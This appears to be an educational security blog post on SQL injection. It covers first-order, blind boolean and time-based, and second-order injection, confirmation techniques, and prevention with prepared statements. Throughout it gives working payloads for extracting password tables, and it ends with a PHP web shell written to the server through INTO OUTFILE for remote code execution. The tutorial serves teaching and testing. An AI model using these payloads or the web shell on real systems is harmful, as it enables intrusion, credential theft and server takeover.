Ess-Cue-Hell

What is SQL Injection?

SQL Injection (SQLi) is a vulnerability that arises when an adversary is able to supply input that is directly entered into a SQL query. The same as any other type of code injection, this allows the adversary to manipulate the intended functionality to their own ends, potentially resulting in leaks of sensitive information, deletion of records, or mass account takeover (ATO).

SQLi occurs when user input is not properly sanitized and is inserted pre-compilation into a SQL query. This is significant, as the application has no way of separating the user-supplied input from the original query, allowing for numerous methods of attack as a result.

Why should we care?

With SQLi, an adversary is able to achieve many goals. From leaking account passwords and application secrets, compromising confidentiality -- to mass deletion or updating of information, compromising availability and integrity respectively. SQL injection is one of the quickest wins an adversary can find, as it essentially acts as a window into all of the data that an application deems significant.

Flavors of SQL:

It's worth mentioning that there are many different SQL implementations. Typically, in the form of various Database Management Systems (DBMS), these software are commonly used as they allow for better and more intuitive use of large amounts of data. Some of the most popular DBMS include:

• MySQL
• Oracle
• SQLite

While these are some of the most common DBMS implementations, there are countless more out there. To an adversary, most of these are comparable to exploit -- just with differing syntax. For this reason, our examples to follow will be structured to MySQL syntax.

On the Decline:

As a vulnerability nearing 30 years of documented findings, it's almost more amazing to see that SQL injection still appears quite frequently in testing guidelines such as the OWASP top ten. That said, it is also a vulnerability that is finally on the decline. Essentially a "fixed" issue, elimination of SQLi as a vulnerability relies on developers following proper implementations and security best practices.

Finding SQLi:

First-Order Injections:

The most straightforward of SQL injections, first-order injetions occur when an adversary is able to supply input that is then treated as part of the original query by the application. When this occurs, the adversary is able to overwrite the query with one of their own, and manipulate the results to their benefit.

Take for instance the following SQL query:

SELECT Recipient, Message FROM Messages
WHERE Recipient='Erubius';

Assuming that the WHERE pulls infomation from a search functionality which we can supply information to, we can potentially achieve first-order injection here.

Crafting our malicious payload to account for the closing quotation, our payload will look like this:

Erubius' UNION SELECT Username, Password FROM Users;

If we then enter this payload into the search functionality, the resulting query will be the following:

SELECT Recipient, Message FROM Messages
WHERE Recipient='Erubius' UNION SELECT Username, Password FROM Users;

This will return not just the messages where Erubius is a recipient, but all username/password pairs in the Users table!

Blind Injections:

Similar in execution to our first-order injection, we have blind injection. The fundamental difference between the two being that we aren’t able to achieve direct data exfiltration with blind injection, thus, earning it’s name. Instead, what we’re looking for is to demonstrate a level of control over true and false results. When we can determine which is which by some change in the response returned to us, we’re able to extract the same levels of information that we could with our first-order injection, albeit, much more slowly.

Boolean-based SQLi:

The method of using true/false queries to generate a noticeable change in an applications response is known as Boolean-based injection. Let’s imagine that there exists a “My Account” endpoint, that relies on a User ID being supplied to determine whether a user is subscribed to premium access within an application.

GET /myaccount
Host: example.com
Cookie: UserID=1

This would then be reflected into a SQL query such as:

SELECT * FROM SubscribedUsers WHERE UserId=’1’;

When supplied with a valid, subscribed ID, the “My Account” page would display a banner across the top of the page showing that we have an active subscription. When supplied with an invalid Id however, there will be no banner. Now, comes the tricky part, since we’ve identified the difference in responses between true and false, we’re able to attempt to leverage this to extract more information.

By using an intentionally invalid ID – say, a non-subscribed user – we can attempt to build a payload such as this:

3’ UNION SELECT Id FROM Users WHERE Username = ‘admin’ and SUBSTR(Password, 1, 1) =’a’;-- -

Breaking down the above query, we’re injecting an ID that we know is not subscribed, because we only want data returned (the banner to appear) if our UNION SELECT returns true. On that note, our UNION SELECT is attempting to find the ID of a user named “admin” (which we can likely assume will have access to subscriber features) whose password starts with the letter “a”. If this is true, we’ll see the Subscriber banner in the HTTP response. We can then expand on this thanks to the SUBSTR function. Once we’ve found the correct letter for the first result, we can move on to the second with the following:

3’ UNION SELECT Id FROM Users WHERE Username = ‘admin’ and SUBSTR(Password, 2, 1) =’a’;-- -

A simple change, setting the starting point of our substring to the second character in Password, but this will let us slowly extract the “admin” user’s password. To speed this up a bit, we can also attempt the following:

3’ UNION SELECT Id FROM Users WHERE Username = ‘admin’ and SUBSTR(Password, 1, 1) >’m’;-- -

Notice that we’ve changed our comparison operator to a ‘>’, and our initial test letter to ‘m’. Instead of searching letter by letter, we’re able to do a binary search, cutting half of the potential options with every iteration. This will improve our discovery from an average of 13 tries per letter, to a maximum of 5 tries per letter.

Sleep:

Alternatively, if we suspect that we’ve found an input field that is susceptible to SQLi, but receive no change in the HTTP response, we can attempt to use a similar “True/False” payload but rely on the SLEEP() function instead:

3’ UNION SELECT IF(SUBSTR(Password, 1, 1) >’m’, SLEEP(10), 3) Password FROM Users WHERE Username = ‘admin’;-- -

By applying conditional logic to our injection, we’re able to make it such that all true results will force the application to sleep for 10 seconds, and false results will simply return a screen without a subscriber banner. This is significantly slower than even boolean-based injection but will still work.

Confirming SQLi:

Break and Repair:

One of the most essential things when testing for SQL injection is to ensure we’re able to fully control the field we’re injecting into. In this vein, we should always attempt to repair a SQL statement that we’re able to break via injection. This will limit the number of errors thrown and can potentially help us start to understand more about how the application handles unintended behavior.

OR 1=1:

I would be a poor researcher if I wrote an entire post about SQL injection and didn’t mention one of the most notoriously simple payloads in existence. If you noticed on this post’s cover art, the payload shown is ’ AND 1=1;-- -, rather than the classic OR. This was an intentional choice on my part, as too many people are unaware of the potential destruction that can be caused by a carelessly injected OR 1=1.

When injected into a query that handles mass updates or deletion, a payload relying on OR 1=1 can potentially corrupt or delete entire databases. As ethical hackers, it is our responsibility to understand what we’re doing and to do so safely. This means that we likely shouldn’t drop entire tables in a production environment. Instead, the payload AND 1=1 is significantly safer. As you’re essentially building a boolean statement that breaks and fixes the SQL logic, if a page returns the same response as if you had provided no injection payload, you can partially confirm that you’ve found SQL injection. To fully confirm this, follow it up with a payload of ' AND 1=2;-- -, If the response matches your expectation for a failed response, you can nearly guarantee the presence of SQL injection.

Preventing SQLi:

As a result of how long SQL injection has been on the scene -- as well as how devestating it can be -- it is largely a "solved" vulnerability. With the most effective prevention method being prepared statements, SQL injection becomes nearly impossible to achieve.

Prepared Statements:

Also referred to as parameterized queries, prepared statements allow a developer to distinguish the query from the data that is put into it at a later date. From a programmatic perspective, this works because the prepared statement is pre-compiled. User input is then able to be filled in to various placeholders in the statement at execution, preventing the "meaning" of the query from being altered by any of the input.

To phrase this more clearly, think of using a Sharpie to write a Mad Libs puzzle on a piece of paper. You'll write most of the story in permanent ink, with spots here and there left blank to be filled in later. Then -- when you're actually doing the Mad Libs, you fill the placeholders with pencil. Erasable and changable. In this comparison, the compiled query is the story in Sharpie. While you can add your own input in the blanks, you can't writeover what's already there.

Anything not in "Sharpie", the original query, is treated exclusively as "pencil", user input. By ensuring that user input is unable to alter the query logic, it becomes impossible for an adversary to achieve SQL injetion.

Sanitization and Validation:

For sufficient defense-in-depth, we should also be mindful of proper input sanitization and validation practices. In the event of future bugs somehow allowing for adversaries to corrupt our query logic, we should have checks in place to prevent malicious payloads from being entered into our database anyways.

Filtering user input for malicious content, and ensuring that any malicious content missed is restricted from being presented back to a user in the future, will ensure our application has multiple layers keeping it safe from attack.

Bypassing SQLi Protections:

Unfortunately for modern adversaries, barring developer mistakes, there are few ways to maneuver around properly prepared statements. While these defenses may be missing, when implemented, they are a near complete method of stopping SQL injection.

Second order SQLi:

That aside, it is worth remembering that developers are human and may not have implemented sufficient defense-in-depth.
While most of our testing will be on direct sources, we should keep in mind second-order injections. Relying on an application storing our malicious payload for later retrieval, second-order injection occurs when an application fails to validate that the data has been sufficiently sanitized and is acceptable to present back to the user. When this is not the case, we have the opportunity to achieve a second order injection.

Because the application sees the data as safe, it may incorporate it in the construction of a dynamic endpoint later on. Take this example:

POST /register
Host: example.com

Username="Erubius' UNION SELECT Username, Password FROM Users;-- -"&password=EruWasHere

Assuming the application properly escapes our username and accepts it as a valid string, it will store our SQLi payload, Erubius' UNION SELECT Username, Password FROM Users;-- -, as our username.

Then, if we can find a page that uses our Username as part of a databse query, we may be able to have our payload executed. Let's assume the application in question accesses a users messages with the following request:

GET /messages
Host: example.com

If the application relies on the username to pull the correct message history, the SQL may look like this:

SELECT Recipient, Message FROM Messages
WHERE Username='...';

SELECT Recipient, Message FROM Messages
WHERE Username='Erubius' UNION SELECT Username, Password FROM Users;-- -';

If this works, we'll have been able to force the query to load not just our messages, but all of the username and password pairs stored in the Users table!

Client-Side Protections:

Similar to other injection techniques, we may have to deal with Client-Side input restrictions. Does our suspected field disallow special characters? Does it have a length restriction? There can be many potential limiters for us to contend with. That said, if these restrictions are found Client-Side, they may as well not even be there.

Using a proxy such as Burp Suite, we can easily intercept the HTTP request to the application and entirely bypass any client-side protections in place. This is especially interesting in the case that the client-side application locks you to using drop-down lists, or other methods of predetermined input. Depending on how these fields are implemented, they may revert to sending a string in the HTTP request, not some immutable value that’s confirmed Server-Side. If this is the case, we’re able to treat these drop-downs the same as any other input field and throw our payloads at them.

Escalating SQLi:

Often, adversaries will leverage SQLi to enumerate databases. Being able to extract whatever information they wish, an adversary can find out versioning information, usernames and passwords, and potentially any other hidden secret within the database. Escalating beyond this though, an adversary may attempt to gain a web shell on the application.

SQLi to RCE

A great example of this, let’s assume the application is written in PHP. A simple web shell can be written with the following:

<? system($_REQUEST[‘cmd’]); ?>

Using a found SQLi vulnerability, the adversary may try to create a file of their own on the server with this shell code in it. This is accomplished via the INTO OUTFILE function in MySQL. With a relatively simple payload, the adversary is able to upload their shell to /var/www/html/shell.php:

SELECT Password FROM Users WHERE Username=’Not_A_User’ UNION SELECT "<? system($_REQUEST['cmd']); ?>" INTO OUTFILE "/var/www/html/shell.php"

Because the user we supplied doesn’t exist, the created file shell.php will simply contain our malicious shell code. If we then navigate to the page we placed it at, we can provide a URL parameter and achieve full RCE:

http://www.example.com/shell.php?cmd=RCE